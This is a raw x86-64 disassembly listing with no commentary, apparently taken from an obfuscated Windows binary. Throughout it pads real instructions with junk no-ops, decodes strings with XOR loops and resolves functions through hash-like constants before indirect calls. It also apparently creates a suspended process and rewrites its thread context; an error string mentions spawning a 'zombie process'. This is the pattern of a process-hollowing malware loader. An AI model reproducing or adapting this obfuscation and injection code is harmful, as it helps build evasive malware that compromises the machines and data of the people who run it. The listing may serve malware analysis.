xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x60], rdx
mov ecx, 8
xor edx, edx
jmp 0x14000881b
mov ecx, 8
cmp rcx, 0xb
ja 0x140008935
lea r8, [0x14001babb]
movzx edx, byte [rcx + r8 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r8]
add edx, r8d
add edx, 0x64000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x60], edx
add rcx, 4
jmp 0x1400088c8
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x8643
mov word [rsp + 0x68], ax
xor cl, 0x93
mov byte [rsp + 0x6a], cl
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x67]
mov dword [rsp + 0xa7], eax
mov qword [rsp + 0x20], 0xb
jmp 0x140008956
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x20], 0xc
lea rcx, [rsp + 0xe0]
mov rdx, rdi
mov r8, r15
lea r9, [rsp + 0xa0]
call fcn.140016991
mov rdx, qword [rsp + 0x1d8]
mov rcx, rdi
call fcn.14000addf
lea rbx, [rsp + 0x1d0]
mov rdx, qword [rsp + 0x88]
mov rcx, r12
call fcn.14000addf
add rax, 0
xor rax, 0
or rax, 0
nop
nop
add rax, 0
nop
nop
sub rax, 0
add rax, 0
or rax, 0
add rax, 0
sub rax, 0
xor rax, 0
sub rax, 0
or rax, rax
or rax, 0
mov rax, rax
or rax, 0
or rax, rax
or rax, rax
nop
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xf0]
call fcn.140001a98
test rax, rax
je 0x14000ab17
mov rdi, rax
mov rsi, rdx
mov rcx, rdx
call fcn.14000adf3
mov r15, rax
mov r12, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x1b8], r15
mov qword [rsp + 0x1c0], r12
mov qword [rsp + 0x1c8], rsi
xor rax, 0
or rax, 0
or rax, 0
or rax, rax
sub rax, 0
mov rax, rax
add rax, 0
xor rax, 0
or rax, 0
mov rax, rax
or rax, rax
or rax, 0
sub rax, 0
or rax, rax
nop
sub rax, 0
nop
nop
sub rax, 0
nop
mov rax, rax
mov rax, rax
xor rax, 0
nop
mov rax, rax
mov rdi, qword [rsp + 0x178]
cmp rdi, 1
jbe 0x140008b8f
mov rax, rax
or rax, 0
or rax, rax
nop
xor rax, 0
nop
add rax, 0
xor rax, 0
lea rax, [0x140172f69]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x3bfb66515f4e16c7
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002ceb
mov r14, rbx
mov bl, byte [rax]
xor bl, 0x16
mov ecx, 1
call fcn.14000adf3
mov byte [rax], bl
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], 1
mov rsi, qword [rsp + 0x168]
lea r13, [rsi + 0x18]
lea rax, [0x14016b42d]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x344e5af2f34498eb
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002f59
mov bpl, byte [rax]
xor bpl, 0x70
lea r12, [rsi + 0x30]
imul rcx, rdi, 0x18
lea r15, [rcx - 0x30]
mov rax, r15
xor edx, edx
mov r8d, 0x18
div r8
mov rdi, rax
add rcx, 0xffffffffffffffe8
test rcx, rcx
je 0x140008ba3
mov rax, qword [r13 + 0x10]
add r13, 0x18
add rcx, 0xffffffffffffffe8
add rdi, rax
jae 0x140008b74
jmp 0x14000ab17
mov r13d, 1
xor ebp, ebp
xor edi, edi
lea r12, [rsp + 0x60]
jmp 0x140008c87
mov rcx, rdi
call fcn.14000adf3
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], rdx
and qword [rsp + 0x1e0], 0
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x28]
add r8, rdx
lea rcx, [rsp + 0x1d0]
call fcn.14000ac04
mov rsi, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1e0]
lea rcx, [rsi + rax]
mov r13, rdi
sub r13, rax
test r15, r15
je 0x140008c38
test r13, r13
je 0x14000ab17
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
dec r13
mov byte [rcx], bpl
sub r13, r8
jb 0x14000ab17
add r12, 0x18
lea rbx, [rcx + r8]
inc rbx
inc rcx
call sub.msvcrt.dll_memcpy
add r15, 0xffffffffffffffe8
mov rcx, rbx
jmp 0x140008bf6
sub rdi, r13
mov r15, qword [rsp + 0x1d8]
add rdi, rsi
lea r12, [rsp + 0x60]
mov rcx, r12
mov rdx, rsi
mov r8, rdi
call fcn.14000ac04
mov r13, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov ecx, 1
xor edx, edx
call fcn.14000addf
mov rcx, rsi
mov rdx, r15
call fcn.14000addf
lea rbx, [rsp + 0x1d0]
lea r14, [0x14001b9c5]
mov rax, rax
add rax, 0
mov rax, rax
or rax, rax
nop
add rax, 0
nop
sub rax, 0
mov rax, rax
add rax, 0
add rdi, r13
lea rsi, [rsp + 0x1b8]
mov rcx, rsi
mov rdx, r13
mov r8, rdi
call fcn.14000ac04
mov rcx, rsi
call fcn.140003169
mov rdi, rax
xor rax, 0
xor rax, 0
mov rax, rax
or rax, 0
xor rax, 0
or rax, rax
sub rax, 0
or rax, rax
sub rax, 0
sub rax, 0
nop
nop
or rax, rax
add rax, 0
xor rax, 0
nop
add rax, 0
mov qword [rsp + 0x1b0], rdi
or rax, 0
or rax, 0
mov rax, rax
nop
mov rax, rax
or rax, rax
mov rax, rax
xor rax, 0
sub rax, 0
mov rax, rax
or rax, 0
mov rax, rax
add rax, 0
nop
nop
or rax, rax
add rax, 0
xor rax, 0
nop
add rax, 0
or rax, rax
movaps xmmword [rsp + 0x220], xmm6
movaps xmmword [rsp + 0x210], xmm6
movaps xmmword [rsp + 0x200], xmm6
movaps xmmword [rsp + 0x1f0], xmm6
and qword [rsp + 0x230], 0
movaps xmmword [rsp + 0x1e0], xmm6
movaps xmmword [rsp + 0x1d0], xmm6
sub rax, 0
nop
sub rax, 0
nop
add rax, 0
nop
add rax, 0
xor rax, 0
sub rax, 0
mov dword [rsp + 0x1d0], 0x68
nop
xor rax, 0
nop
nop
xor rax, 0
nop
or rax, rax
or rax, 0
nop
xor rax, 0
nop
sub rax, 0
or rax, rax
mov rax, rax
add rax, 0
nop
nop
xor rax, 0
sub rax, 0
sub rax, 0
call fcn.1400041ed
mov rsi, rax
lea rax, [0x140015013]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
movabs rax, 0x1dec08f7dd79e3fe
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
call fcn.140002c66
movaps xmmword [rsp + 0x60], xmm6
and dword [rsp + 0x70], 0
xor ecx, ecx
cmp rcx, 0x10
jae 0x140008e3a
mov rdx, qword [rcx + r14]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x60], rdx
add rcx, 8
jmp 0x140008e21
mov ecx, 0x10
cmp rcx, 0x13
ja 0x140008e69
movzx edx, byte [rcx + r14 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r14]
add edx, r8d
add edx, 0x3e000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x60], edx
add rcx, 4
jmp 0x140008e3f
movzx eax, word [rax + 0x14]
xor eax, 0x7e9f
mov word [rsp + 0x74], ax
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x6e]
mov qword [rsp + 0xae], rax
mov rdx, qword [rsi]
mov r9d, 0x16
mov rcx, r12
lea r8, [rsp + 0xa0]
call fcn.140003e69
cmp byte [rsp + 0x60], 0
jne 0x14000ab17
mov qword [rsp + 0x130], rbp
mov qword [rsp + 0x88], r13
mov rax, qword [rsp + 0x68]
xor rcx, 0
or rcx, 0
nop
xchg rcx, rcx
xor rcx, 0
xor rcx, 0
mov rcx, rcx
nop
sub rcx, 0
sub rcx, 0
sub rcx, 0
add rcx, 0
xchg rcx, rcx
add rcx, 0
xchg rcx, rcx
sub rcx, 0
xchg rcx, rcx
sub rcx, 0
or rcx, rcx
or rcx, rcx
or rcx, 0
sub rcx, 0
nop
add rcx, 0
add rcx, 0
or rcx, rcx
xor rcx, 0
add rcx, 0
sub rcx, 0
or rcx, 0
xor rcx, 0
add rcx, 0
mov rcx, rcx
nop
and qword [rsp + 0x60], 0
or rcx, 0
mov rcx, rcx
sub rcx, 0
nop
or rcx, 0
xchg rcx, rcx
sub rcx, 0
sub rcx, 0
add rcx, 0
or rcx, rcx
xchg rcx, rcx
add rcx, 0
xor rcx, 0
or rcx, rcx
or rcx, 0
or rcx, 0
xor rcx, 0
mov qword [rsp + 0x58], r12
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rbx
movups xmmword [rsp + 0x38], xmm6
and dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0x800000c
and qword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
xor r9d, r9d
call rax
test eax, eax
je 0x14000912d
mov rax, rax
nop
or rax, rax
or rax, 0
or rax, 0
mov rdi, qword [rsp + 0xc0]
mov rax, rax
mov rax, rax
xor rax, 0
add rax, 0
sub rax, 0
or rax, 0
sub rax, 0
or rax, rax
or rax, rax
nop
add rax, 0
xor rax, 0
add rax, 0
xor rax, 0
or rax, rax
or rax, 0
sub rax, 0
or rax, 0
or rax, rax
nop
or rax, 0
or rax, rax
xor rax, 0
or rax, 0
or rax, 0
xor rax, 0
nop
add rax, 0
nop
add rax, 0
or rax, rax
nop
nop
or rax, rax
mov rax, rax
or rax, rax
sub rax, 0
sub rax, 0
add rax, 0
xor rax, 0
add rax, 0
or rax, 0
sub rax, 0
nop
nop
or rax, rax
or rax, rax
mov rcx, qword [rsp + 0x140]
call fcn.1400036eb
nop
or rcx, 0
sub rcx, 0
or rcx, 0
xor rcx, 0
or rcx, 0
nop
xor rcx, 0
add rcx, 0
sub rcx, 0
or rcx, rcx
sub rcx, 0
add rcx, 0
mov rcx, rcx
or rcx, 0
or rcx, rcx
test rax, rax
je 0x1400091e7
nop
mov rax, rax
add rax, 0
add rax, 0
or rax, 0
or rax, rax
xor rax, 0
nop
sub rax, 0
xor rax, 0
nop
or rax, 0
sub rax, 0
or rax, 0
sub rax, 0
sub rax, 0
xor rax, 0
nop
mov rax, rax
mov rax, rax
nop
or rax, rax
nop
nop
nop
or rax, 0
add rax, 0
nop
sub rax, 0
mov rax, rax
xor rax, 0
nop
nop
mov rax, rax
mov rax, rax
add rax, 0
or rax, rax
nop
jmp 0x140009238
nop
xor rax, 0
mov rax, rax
nop
xor rax, 0
nop
nop
xor rax, 0
or rax, rax
lea rax, str.____Failed_to_spawn_zombie_process__command:_____n_
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], 2
and qword [rsp + 0x1f0], 0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x60], rax
lea rax, [0x1400029ec]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x1e0], r12
mov qword [rsp + 0x1e8], 1
mov rcx, rbx
call fcn.1400173eb
or rax, rax
nop
or rax, rax
xor rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
xor rax, 0
xor rax, 0
add rax, 0
or rax, rax
nop
sub rax, 0
mov bpl, 1
lea r13, [rsp + 0xe0]
lea rsi, [0x140010096]
movabs r15, 0x7e190b1b1fbcbdf5
jmp 0x14000a4d7
add rax, 0
or rax, 0
nop
xor rax, 0
xor rax, 0
or rax, rax
mov rax, rax
or rax, 0
sub rax, 0
sub rax, 0
xor rax, 0
mov rax, rax
xor rax, 0
add rax, 0
nop
or rax, 0
nop
nop
add rax, 0
xor rax, 0
add rax, 0
add rax, 0
xor rax, 0
or rax, 0
nop
add rax, 0
or rax, rax
nop
nop
or rax, rax
or rax, rax
or rax, 0
mov rax, rax
sub rax, 0
add rax, 0
nop
or rax, 0
add rax, 0
xor rax, 0
add rax, 0
sub rax, 0
xor rax, 0
nop
or rax, rax
xor rax, 0
nop
and qword [rsp + 0x90], 0
add rax, 0
sub rax, 0
add rax, 0
mov rax, rax
sub rax, 0
add rax, 0
nop
xor rax, 0
add rax, 0
or rax, 0
and qword [rsp + 0xa0], 0
or rax, rax
sub rax, 0
xor rax, 0
nop
xor rax, 0
nop
or rax, rax
add rax, 0
or rax, rax
xor rax, 0
nop
nop
xor rax, 0
or rax, rax
or rax, 0
nop
add rax, 0
nop
call fcn.140004240
mov rsi, rax
lea rax, [0x1400158b4]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d0]
movabs rdx, 0x36008b7d37fd740b
mov qword [rsp + 0x1d0], rdx
mov rdx, qword [rsp + 0x1d0]
call fcn.140002bed
movaps xmmword [rsp + 0x1d0], xmm6
xor ecx, ecx
lea r8, [0x14001ba85]
cmp rcx, 0xf
ja 0x140009354
mov rdx, qword [rcx + r8]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
add rcx, 8
jmp 0x140009338
movzx eax, word [rax + 0x10]
xor eax, 0x50a8
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], ax
mov rdx, qword [rsi]
mov r9d, 0x12
lea rcx, [rsp + 0x1d0]
lea r8, [rsp + 0x60]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
nop
add rcx, 0
mov rcx, rcx
xor rcx, 0
xchg rcx, rcx
add rcx, 0
or rcx, rcx
or rcx, rcx
sub rcx, 0
xchg rcx, rcx
or rcx, rcx
add rcx, 0
sub rcx, 0
sub rcx, 0
sub rcx, 0
or rcx, 0
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x30], rcx
movups xmmword [rsp + 0x20], xmm6
mov dword [rsp + 0x48], 2
and dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov rcx, qword [rsp + 0xd8]
mov rdx, rdi
lea r8, [rsp + 0xa0]
xor r9d, r9d
call rax
nop
sub rcx, 0
mov rcx, rcx
nop
xchg rcx, rcx
xchg rcx, rcx
add rcx, 0
or rcx, rcx
xor rcx, 0
or rcx, rcx
or rcx, rcx
or rcx, 0
xchg rcx, rcx
sub rcx, 0
xor rcx, 0
nop
or rcx, rcx
test eax, eax
js 0x140009487
or rax, 0
add rax, 0
or rax, 0
mov rax, rax
or rax, rax
nop
nop
mov rax, rax
nop
mov rax, rax
or rax, rax
mov rax, rax
nop
nop
or rax, rax
mov rax, rax
or rax, 0
mov r15, qword [rsp + 0xa0]
jmp 0x14000950e
sub rax, 0
xor rax, 0
mov rax, rax
sub rax, 0
sub rax, 0
or rax, 0
sub rax, 0
add rax, 0
mov rax, rax
nop
nop
add rax, 0
add rax, 0
nop
sub rax, 0
nop
add rax, 0
nop
sub rax, 0
or rax, rax
sub rax, 0
or rax, rax
sub rax, 0
or rax, 0
mov rax, rax
mov rax, rax
nop
mov rax, rax
or rax, rax
nop
or rax, rax
xor rax, 0
nop
mov rax, rax
sub rax, 0
or rax, rax
or rax, rax
or rax, 0
or rax, 0
or rax, 0
add rax, 0
add rax, 0
xor r15d, r15d
mov rax, rax
or rax, rax
xor rax, 0
xor rax, 0
xor rax, 0
mov rax, rax
add rax, 0
nop
nop
or rax, rax
xor rax, 0
nop
mov rax, rax
nop
xor rax, 0
test r15, r15
je 0x140009689
add rax, 0
add rax, 0
sub rax, 0
xor rax, 0
add rax, 0
xor rax, 0
xor rax, 0
or rax, rax
mov rax, rax
sub rax, 0
or rax, 0
sub rax, 0
or rax, rax
nop
or rax, rax
add rax, 0
mov rax, rax
sub rax, 0
mov rax, rax
nop
sub rax, 0
mov rax, rax
nop
sub rax, 0
nop
xor rax, 0
mov rcx, qword [rsp + 0x140]
call fcn.1400036eb
or rcx, 0
add rcx, 0
xor rcx, 0
mov rcx, rcx
or rcx, 0
or rcx, 0
sub rcx, 0
add rcx, 0
sub rcx, 0
or rcx, 0
xor rcx, 0
sub rcx, 0
or rcx, 0
nop
or rcx, 0
xchg rcx, rcx
xor rcx, 0
nop
mov rcx, rcx
xchg rcx, rcx
or rcx, rcx
xor rcx, 0
or rcx, rcx
add rcx, 0
xor rcx, 0
test rax, rax
je 0x1400096d2
nop
nop
nop
xor rcx, 0
or rcx, 0
xor rcx, 0
or rcx, rcx
or rcx, 0
xchg rcx, rcx
or rcx, rcx
sub rcx, 0
sub rcx, 0
sub rcx, 0
xchg rcx, rcx
add rcx, 0
mov rcx, rcx
xchg rcx, rcx
mov rcx, rcx
or rcx, 0
or rcx, 0
add rcx, 0
nop
nop
xor rcx, 0
xor rcx, 0
add rcx, 0
xchg rcx, rcx
xchg rcx, rcx
or rcx, 0
xchg rcx, rcx
sub rcx, 0
xor rcx, 0
xchg rcx, rcx
xor rcx, 0
sub rcx, 0
add rcx, 0
add rcx, 0
add rcx, 0
nop
mov eax, dword [rax + 0x28]
jmp 0x1400096f6
xor rax, 0
or rax, 0
xor rax, 0
xor rax, 0
add rax, 0
or rax, 0
or rax, 0
add rax, 0
add rax, 0
or rax, rax
add rax, 0
sub rax, 0
sub rax, 0
nop
nop
or rax, rax
mov rax, rax
nop
nop
or rax, rax
sub rax, 0
jmp 0x14000a4ae
sub rax, 0
add rax, 0
xor rax, 0
xor rax, 0
add rax, 0
nop
xor rax, 0
sub rax, 0
nop
nop
or rax, rax
xor eax, eax
mov edi, eax
mov rax, rax
sub rax, 0
or rax, rax
or rax, rax
or rax, 0
sub rax, 0
nop
or rax, 0
sub rax, 0
mov rax, rax
nop
mov rax, rax
sub rax, 0
or rax, 0
xor rax, 0
or rax, rax
sub rax, 0
add rax, 0
nop
sub rax, 0
or rax, 0
mov rax, rax
or rax, 0
nop
nop
or rax, rax
add rax, 0
xor rax, 0
add rdi, r15
or rax, 0
or rax, rax
or rax, rax
nop
nop
mov rax, rax
add rax, 0
add rax, 0
or rax, rax
mov rax, rax
xor rax, 0
sub rax, 0
nop
nop
nop
mov rax, rax
or rax, rax
add rax, 0
sub rax, 0
nop
or rax, rax
mov rax, rax
mov rax, rax
or rax, 0
or rax, 0
add rax, 0
sub rax, 0
mov rax, rax
nop
sub rax, 0
or rax, 0
mov rax, rax
sub rax, 0
add rax, 0
nop
nop
or rax, rax
add rax, 0
or rax, 0
sub rax, 0
nop
or rax, 0
xor rax, 0
or rax, 0
nop
or rax, 0
mov rax, rax
add rax, 0
mov rax, rax
nop
nop
or rax, rax
add rax, 0
or rax, 0
or rax, 0
nop
mov rax, rax
mov rax, rax
or rax, rax
xor rax, 0
nop
nop
add rax, 0
cmp byte [rsp + 0x9c], 0
je 0x140009972
or rax, 0
sub rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
or rax, rax
sub rax, 0
mov rax, rax
nop
or rax, rax
mov rax, rax
add rax, 0
sub rax, 0
add rax, 0
nop
mov rax, rax
sub rax, 0
add rax, 0
or rax, 0
add rax, 0
or rax, rax
mov rax, rax
nop
nop
add rax, 0
add rax, 0
mov rax, rax
mov r8d, 0xf8
lea rcx, [rsp + 0x1d0]
xor edx, edx
call sub.msvcrt.dll_memset
mov rax, rax
sub rax, 0
add rax, 0
mov rax, rax
or rax, 0
mov rax, rax
nop
xor rax, 0
or rax, rax
nop
or rax, 0
sub rax, 0
nop
nop
or rax, rax
mov rax, rax
sub rax, 0
add rax, 0
mov rax, rax
nop
or rax, rax
mov dword [rsp + 0x200], 0x100002
or rax, 0
nop
nop
mov rax, rax
mov rax, rax
nop
mov rax, rax
mov rax, rax
or rax, rax
nop
nop
or rax, 0
add rax, 0
nop
or rax, 0
nop
add rax, 0
or rax, 0
or rax, 0
mov rax, rax
sub rax, 0
xor rax, 0
call fcn.1400041ed
mov rsi, rax
lea rax, [0x140015a1b]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
movabs rdx, 0x690ef3e9e09dc0d9
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0x60]
call fcn.140002ebe
movaps xmmword [rsp + 0x60], xmm6
xor ecx, ecx
lea r8, [0x14001ba45]
cmp rcx, 0xf
ja 0x140009a67
mov rdx, qword [rcx + r8]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x60], rdx
add rcx, 8
jmp 0x140009955
nop
mov rax, rax
nop
mov rax, rax
xor rax, 0
or rax, 0
xor rax, 0
add rax, 0
or rax, rax
add rax, 0
nop
mov rax, rax
or rax, 0
mov rax, rax
nop
mov rax, rax
add rax, 0
mov rax, rax
xor rax, 0
mov r8d, 0xb0
lea rcx, [rsp + 0x1d4]
xor edx, edx
call sub.msvcrt.dll_memset
or rax, 0
nop
xor rax, 0
nop
nop
nop
nop
or rax, rax
or rax, 0
nop
nop
nop
nop
sub rax, 0
mov dword [rsp + 0x1d0], 0x100002
nop
add rax, 0
nop
xor rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
or rax, 0
call fcn.1400041ed
mov rsi, rax
lea rax, [0x140019d1a]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
movabs rdx, 0x73785c69c2a1a5d6
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0x60]
call fcn.140002bbf
movaps xmmword [rsp + 0x60], xmm6
and dword [rsp + 0x70], 0
xor ecx, ecx
lea r9, [0x14001b9f1]
cmp rcx, 0x10
jae 0x140009bc3
mov rdx, qword [rcx + r9]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x60], rdx
add rcx, 8
jmp 0x140009a4a
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
mov rdx, qword [rsi]
mov r9d, 0x10
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0xa0]
call fcn.140003e69
cmp byte [rsp + 0x60], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x68]
nop
mov rcx, rcx
mov rcx, rcx
or rcx, 0
xor rcx, 0
or rcx, 0
or rcx, 0
nop
or rcx, 0
xchg rcx, rcx
nop
add rcx, 0
mov rcx, rcx
xchg rcx, rcx
add rcx, 0
sub rcx, 0
or rcx, rcx
xchg rcx, rcx
or rcx, rcx
mov rcx, rcx
xor rcx, 0
add rcx, 0
mov rcx, rcx
nop
mov rcx, qword [rsp + 0xc8]
lea rdx, [rsp + 0x1d0]
call rax
or rcx, 0
test eax, eax
je 0x140009f0e
xor rax, 0
or rax, 0
nop
nop
or rax, 0
mov rax, rax
mov qword [rsp + 0x250], rdi
or rax, rax
or rax, 0
or rax, rax
or rax, rax
xor rax, 0
mov rax, rax
mov rax, rax
or rax, 0
add rax, 0
xor rax, 0
xor rax, 0
add rax, 0
nop
xor rax, 0
sub rax, 0
or rax, rax
or rax, 0
add rax, 0
nop
nop
call fcn.1400041ed
mov rsi, rax
lea rax, [0x140016163]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
movabs rdx, 0x81e93f12c8b8c1c5
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0x60]
call fcn.140002e16
movaps xmmword [rsp + 0x60], xmm6
xor ecx, ecx
lea r8, [0x14001ba55]
cmp rcx, 0xf
ja 0x140009d65
mov rdx, qword [rcx + r8]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x60], rdx
add rcx, 8
jmp 0x140009ba6
mov ecx, 0x10
cmp rcx, 0x13
ja 0x140009bf2
movzx edx, byte [rcx + r9 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r9]
add edx, r8d
add edx, 0x3c000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x60], edx
add rcx, 4
jmp 0x140009bc8
mov al, byte [rax + 0x14]
xor al, 0xc4
mov byte [rsp + 0x74], al
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x6d]
mov qword [rsp + 0xad], rax
mov rdx, qword [rsi]
mov r9d, 0x15
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0xa0]
call fcn.140003e69
cmp byte [rsp + 0x60], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x68]
sub rcx, 0
xor rcx, 0
nop
xor rcx, 0
mov rcx, rcx
sub rcx, 0
mov rcx, rcx
mov rcx, rcx
xor rcx, 0
xor rcx, 0
add rcx, 0
sub rcx, 0
xchg rcx, rcx
mov rcx, rcx
mov rcx, rcx
mov rcx, rcx
or rcx, rcx
add rcx, 0
nop
mov rcx, rcx
mov rcx, rcx
sub rcx, 0
nop
xchg rcx, rcx
mov rcx, qword [rsp + 0xc8]
lea rdx, [rsp + 0x1d0]
call rax
test eax, eax
je 0x140009f4c
add rax, 0
nop
mov rax, rax
xor rax, 0
nop
mov dword [rsp + 0x280], edi
add rax, 0
nop
or rax, rax
xor rax, 0
mov rax, rax
nop
add rax, 0
sub rax, 0
xor rax, 0
xor rax, 0
or rax, 0
xor rax, 0
nop
sub rax, 0
or rax, rax
sub rax, 0
xor rax, 0
add rax, 0
add rax, 0
add rax, 0
call fcn.1400041ed
mov rsi, rax
lea rax, [0x140018728]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
movabs rdx, 0xc778ee1040528038
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0x60]
call fcn.140002e38
movaps xmmword [rsp + 0x60], xmm6
and dword [rsp + 0x70], 0
xor ecx, ecx
lea r9, [0x14001ba06]
cmp rcx, 0x10
jae 0x140009e3f
mov rdx, qword [rcx + r9]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x60], rdx
add rcx, 8
jmp 0x140009d48
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
mov rdx, qword [rsi]
mov r9d, 0x10
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0xa0]
call fcn.140003e69
cmp byte [rsp + 0x60], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x68]
or rcx, rcx
xchg rcx, rcx
sub rcx, 0
or rcx, 0
sub rcx, 0
sub rcx, 0
xor rcx, 0
or rcx, 0
sub rcx, 0
mov rcx, rcx
mov rcx, rcx
xchg rcx, rcx
mov rcx, rcx
xor rcx, 0
add rcx, 0
xor rcx, 0
xchg rcx, rcx
xchg rcx, rcx
or rcx, rcx
mov rcx, rcx
mov rcx, qword [rsp + 0xc8]
lea rdx, [rsp + 0x1d0]
call rax
test eax, eax
je 0x140009f93
or rax, rax
or rax, rax
sub rax, 0
add rax, 0
sub rax, 0
nop
nop
nop
nop
or rax, rax
or rax, 0
nop
xor rax, 0
or rax, 0
sub rax, 0
nop
or rax, rax
mov rax, rax
add rax, 0
mov rax, qword [rsp + 0x258]
jmp 0x140009fe2
mov ecx, 0x10
cmp rcx, 0x13
ja 0x140009e6e
movzx edx, byte [rcx + r9 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r9]
add edx, r8d
add edx, 0xf8000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x60], edx
add rcx, 4
jmp 0x140009e44
mov al, byte [rax + 0x14]
xor al, 0xf5
mov byte [rsp + 0x74], al
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x6d]
mov qword [rsp + 0xad], rax
mov rdx, qword [rsi]
mov r9d, 0x15
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0xa0]
call fcn.140003e69
cmp byte [rsp + 0x60], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x68]
add rcx, 0
xchg rcx, rcx
xchg rcx, rcx
nop
xor rcx, 0
or rcx, 0
mov rcx, rcx
sub rcx, 0
nop
mov rcx, qword [rsp + 0xc8]
lea rdx, [rsp + 0x1d0]
call rax
test eax, eax
je 0x140009fc6
add rax, 0
or rax, 0
or rax, rax
or rax, rax
or rax, rax
mov eax, dword [rsp + 0x274]
jmp 0x140009fe2
add rax, 0
or rax, rax
mov rax, rax
nop
or rax, 0
nop
mov rax, rax
or rax, rax
mov rax, rax
nop
or rax, rax
or rax, rax
sub rax, 0
sub rax, 0
add rax, 0
nop
or rax, 0
xor rax, 0
or rax, rax
nop
jmp 0x140009fe0
sub rax, 0
or rax, rax
or rax, rax
mov rax, rax
mov rax, rax
or rax, rax
add rax, 0
nop
xor rax, 0
sub rax, 0
xor rax, 0
or rax, rax
or rax, rax
sub rax, 0
sub rax, 0
sub rax, 0
nop
sub rax, 0
mov rax, rax
or rax, rax
add rax, 0
jmp 0x140009fe0
add rax, 0
sub rax, 0
nop
sub rax, 0
sub rax, 0
nop
sub rax, 0
xor rax, 0
mov rax, rax
sub rax, 0
xor rax, 0
sub rax, 0
add rax, 0
sub rax, 0
jmp 0x140009fe0
xor rax, 0
or rax, 0
mov rax, rax
xor rax, 0
sub rax, 0
xor rax, 0
mov rax, rax
xor eax, eax
or rcx, rcx
or rcx, 0
or rcx, rcx
nop
or rcx, rcx
xor rcx, 0
sub rcx, 0
test rax, rax
je 0x14000a0c5
nop
mov rcx, rcx
add rcx, 0
or rcx, 0
mov rcx, rcx
nop
or rcx, 0
add rcx, 0
or rcx, 0
sub rcx, 0
